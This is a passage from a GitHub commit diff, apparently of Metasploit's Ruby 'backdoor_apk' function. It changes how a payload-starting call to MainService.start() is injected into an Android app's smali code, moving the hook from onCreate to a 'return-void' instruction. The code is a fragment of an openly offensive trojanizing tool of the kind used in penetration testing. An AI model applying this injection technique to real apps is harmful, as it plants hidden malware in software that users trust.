File tree Expand file tree Collapse file tree 1 file changed +7
-7
lines changed Expand file tree Collapse file tree 1 file changed +7
-7
lines changed Original file line number Diff line number Diff line change @@ -198,12 +198,12 @@ def backdoor_apk(apkfile, raw_payload)
198
198
end
199
199
200
200
unless activitysmali
201
- raise RuntimeError , "Unable to find hook point in #{ smalifiles } \n "
201
+ raise RuntimeError , "Unable to find hookable activity in #{ smalifiles } \n "
202
202
end
203
203
204
- entrypoint = ';->onCreate(Landroid/os/Bundle;)V '
204
+ entrypoint = 'return-void '
205
205
unless activitysmali . include? entrypoint
206
- raise RuntimeError , "Unable to find onCreate() in #{ smalifile } \n "
206
+ raise RuntimeError , "Unable to find hookable function in #{ smalifile } \n "
207
207
end
208
208
209
209
# Remove unused files
@@ -226,10 +226,10 @@ def backdoor_apk(apkfile, raw_payload)
226
226
File . open ( newfilename , "wb" ) { |file | file . puts newsmali }
227
227
end
228
228
229
- payloadhook = entrypoint + %Q^
230
- invoke-static {}, L #{ package_slash } /MainService;->start()V
231
- ^
232
- hookedsmali = activitysmali . gsub ( entrypoint , payloadhook )
229
+ payloadhook = %Q^invoke-static {}, L #{ package_slash } /MainService;->start()V
230
+
231
+ ^ + entrypoint
232
+ hookedsmali = activitysmali . sub ( entrypoint , payloadhook )
233
233
234
234
print_status "Loading #{ smalifile } and injecting payload..\n "
235
235
File . open ( smalifile , "wb" ) { |file | file . puts hookedsmali }
You can’t perform that action at this time.
0 commit comments